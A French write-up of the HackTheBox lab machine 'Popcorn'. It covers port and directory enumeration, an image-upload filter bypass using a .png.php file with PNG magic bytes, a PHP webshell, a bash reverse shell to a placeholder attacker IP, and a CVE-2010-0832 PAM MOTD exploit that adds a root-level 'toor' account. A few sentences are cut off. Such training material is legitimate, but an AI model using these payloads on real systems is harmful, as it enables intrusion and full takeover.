
Analyse de Popcorn HTB couvrant le fuzzing avancé de répertoires, le contournement de téléchargement de fichiers via nombres magiques/usurpation d'extension en utilisant Burp Suite, et l'élévation de privilèges via CVE-2010-0832 (Altération de fichier PAM MOTD).
Date : 05 juin 2026
Difficulté : Facile
Plateforme : HackTheBox
Techniques clés : Énumération des ports et services, Fuzzing de répertoires (Gobuster), Contournement de filtres d’upload, Manipulation de requêtes HTTP (Burp Suite), Exécution de code à distance (RCE), Stabilisation avancée de shell TTY (Python), Exploitation locale du noyau/PAM (Altération de fichier MOTD).
Nous débutons par un scan rapide TCP sur l’ensemble des 65 535 ports (-p-) pour localiser les points d’entrée ouverts. Nous optimisons la vitesse d’exécution avec --min-rate 5000 et désactivons la résolution DNS et les pings pour fluidifier le processus dans un environnement d’audit :
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
Le scan initial découvre de manière fiable deux ports ouverts : le port 22 (SSH) et le port 80 (HTTP).
Ensuite, nous effectuons un scan ciblé et approfondi sur les ports identifiés pour déterminer les versions précises des services et exécuter les scripts standard et de base de vulnérabilités de Nmap :
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
À partir de la sortie, nous extrayons des informations critiques sur l’écosystème cible :
OpenSSH 5.1 Debian 6ubuntu2 (Indique une distribution Ubuntu Linux nettement ancienne).Apache httpd 2.2.12Avant d’interagir avec l’application web via le navigateur, nous ajoutons l’adresse IP cible au fichier /etc/hosts de notre machine d’attaque pour nettoyer le mappage de domaine et garantir la résolution correcte des redirections internes :
<VICTIM_IP> popcorn.htb
Nous lançons ensuite une découverte automatisée de répertoires cachés avec gobuster en utilisant la liste de mots classique de taille moyenne de DirBuster :
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
La phase de fuzzing révèle les chemins accessibles suivants sur le serveur web de la victime :
/index (Page d’accueil standard)./test (Panneau de test ou fichier d’informations de développement)./torrent (Une plateforme web complète dédiée à l’hébergement et au partage de fichiers torrent)./response (Page de réponse interne).L’exploration du répertoire /torrent révèle un CMS de partage de torrents. Pour interagir avec les fonctionnalités d’upload, nous nous inscrivons et nous connectons avec un compte valide créé sur-le-champ. Après avoir publié un fichier .torrent légitime, la plateforme active une option permettant de modifier les détails du torrent et d’uploader une image de capture d’écran promotionnelle. Ce formulaire spécifique devient notre vecteur d’attaque principal.
Pour réaliser une exécution de code à distance (RCE), nous passons par une série de phases de test, en analysant le comportement du backend à l’aide de Burp Suite (Repeater) :
Nous interceptons la requête d’upload de capture d’écran et modifions le nom de fichier en exploit.php. Nous tentons d’insérer un webshell classique d’une ligne dans le corps du fichier :
<?php system($_GET['cmd']) ?>
Résultat : Le serveur web renvoie une erreur d’exécution interne due à un point-virgule ; manquant à la fin de l’instruction PHP, ce qui interrompt le flux d’exécution.
Nous corrigeons la syntaxe en <?php system($_GET['cmd']); ?>, mais comme la requête est envoyée via POST (en utilisant multipart/form-data), nous essayons de passer notre commande directement dans l’URL de l’en-tête (POST /torrent/upload_file.php?cmd=whoami).
Résultat : Le serveur web génère l’erreur suivante :
Cannot execute a blank command
Analyse : Lors de l’analyse du fichier uploadé, le backend ignore complètement les variables GET présentes dans l’URL. Le script upload_file.php écrit le fichier sur le disque mais tente immédiatement d’exécuter la fonction interne. Comme il ne reçoit rien dans les variables attendues du corps, $_GET['cmd'] est traité comme vide.
Pour contourner les filtres basiques de vérification d’extension qui vérifient si le fichier est une image valide, nous renommons le fichier en innocent.php.png et codons en dur une charge utile de reverse shell afin qu’elle ne dépende pas de paramètres externes :
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Résultat : Le serveur répond avec un 200 OK réussi indiquant :
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
Analyse : Bien que cela ait contourné avec succès le filtre initial, comme le fichier se terminait strictement par une extension .png, le serveur Apache l’a traité comme une image statique ordinaire. En y accédant, le navigateur affiche simplement les octets bruts en texte brut ; Apache ne passe jamais le fichier à l’interpréteur PHP, ce qui fait que notre écouteur Netcat ne reçoit jamais de connexion.
Sachant que le serveur doit analyser l’extension .php pour déclencher l’exécution de code, nous inversons l’ordre des extensions (innocent.png.php), conservons l’en-tête Content-Type: image/png intact, et ajoutons la signature PNG ou Nombres magiques (PNG) au début du corps du fichier pour tromper les vérifications de contenu du backend :
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
Résultat : Le serveur web accepte proprement le fichier, traite l’extension de fin, et le sauvegarde dans le répertoire d’upload sous le nom innocent.php :
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
Comme le script d’upload ne fait que stocker le fichier sur le disque sans l’exécuter dans le contexte de la requête POST d’upload, nous déclenchons un appel indépendant pour forcer le serveur à le lire :
nc -lvnp 4444
GET propre dans Burp) :[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
Le serveur Apache est forcé de traiter le fichier, détecte les balises PHP, exécute la charge utile Bash, et la connexion se fait parfaitement sur notre écouteur, donnant un accès initial en tant qu’utilisateur www-data.
Tenter d’élever les privilèges immédiatement après avoir reçu le shell révèle des limitations sévères de l’environnement :
www-data@popcorn:/$ su root
su: must be run from a terminal
La commande su nécessite strictement un terminal interactif réel (TTY) pour accepter les entrées de manière sécurisée. Essayer d’en forcer un via python3 indique qu’il n’est pas installé sur cette machine ancienne (The program 'python3' is currently not installed).
Nous contournons cet obstacle en utilisant le binaire Python classique (Python 2) présent sur la machine et en reconfigurant les descripteurs de terminal de notre machine d’attaque :
# 1. Lancer un shell interactif en utilisant le chemin absolu du Python legacy
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. Suspendre le processus du shell en arrière-plan
Ctrl + Z
# 3. Sur notre terminal d’attaque, mettre l’état du clavier en brut et ramener l’écouteur Netcat au premier plan
stty raw -echo; fg
# 4. Forcer un rafraîchissement de l’écran et mapper les variables d’environnement du terminal pour l’historique et l’autocomplétion
reset xterm
export TERM=xterm
export SHELL=bash
Nous inspectons la distribution OS et la version du noyau Linux de la machine victime :
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
Le système d’exploitation pointe vers une version vintage d’Ubuntu (Karmic Koala), dont le noyau et les paquets de base contiennent plusieurs failles d’élévation de privilèges locales connues.
Nous identifions un vecteur très viable impliquant l’analyse du message du jour par PAM (Linux PAM 1.1.0 - Altération de fichier MOTD pour élévation de privilèges, référencé sous CVE-2010-0832). Cette vulnérabilité permet aux utilisateurs locaux de manipuler des fichiers appartenant à root via une gestion non sécurisée des liens symboliques lors des actions d’authentification SSH locale.
Nous utilisons le script d’exploit public 14339.sh pour automatiser le chemin d’attaque.
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp (qui accorde des droits globaux de lecture/écriture/exécution), télécharger le script et le rendre exécutable :cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
Le script se termine avec succès, en altérant directement la base de données des utilisateurs locaux dans /etc/passwd.
En raison du fonctionnement interne de l’exploit, celui-ci ne modifie pas le mot de passe du compte root original. Il injecte un tout nouveau compte clone avec les privilèges root à la fin du fichier /etc/passwd.
Nous le confirmons en lisant la dernière ligne du fichier utilisateur :
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
Remarque : La configuration 0:0 (UID/GID) confère à ce compte des paramètres d’identité identiques à ceux de l’administrateur root.
Alors que l’exécution de su root avec le mot de passe toor produit une erreur Authentication failure car le compte root original n’est pas touché, notre shell TTY Python stabilisé nous permet de changer d’utilisateur en ciblant le compte clone personnalisé :
www-data@popcorn:/tmp$ su toor
Password: toor
Nous fournissons le mot de passe (toor), transformant instantanément notre invite de terminal en identifiant de hachage suprême (#) :
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
La machine cible est entièrement compromise. Nous avons maintenant un accès administrateur pour collecter les hashs de drapeaux requis :
/home/george/user.txt/root/root.txt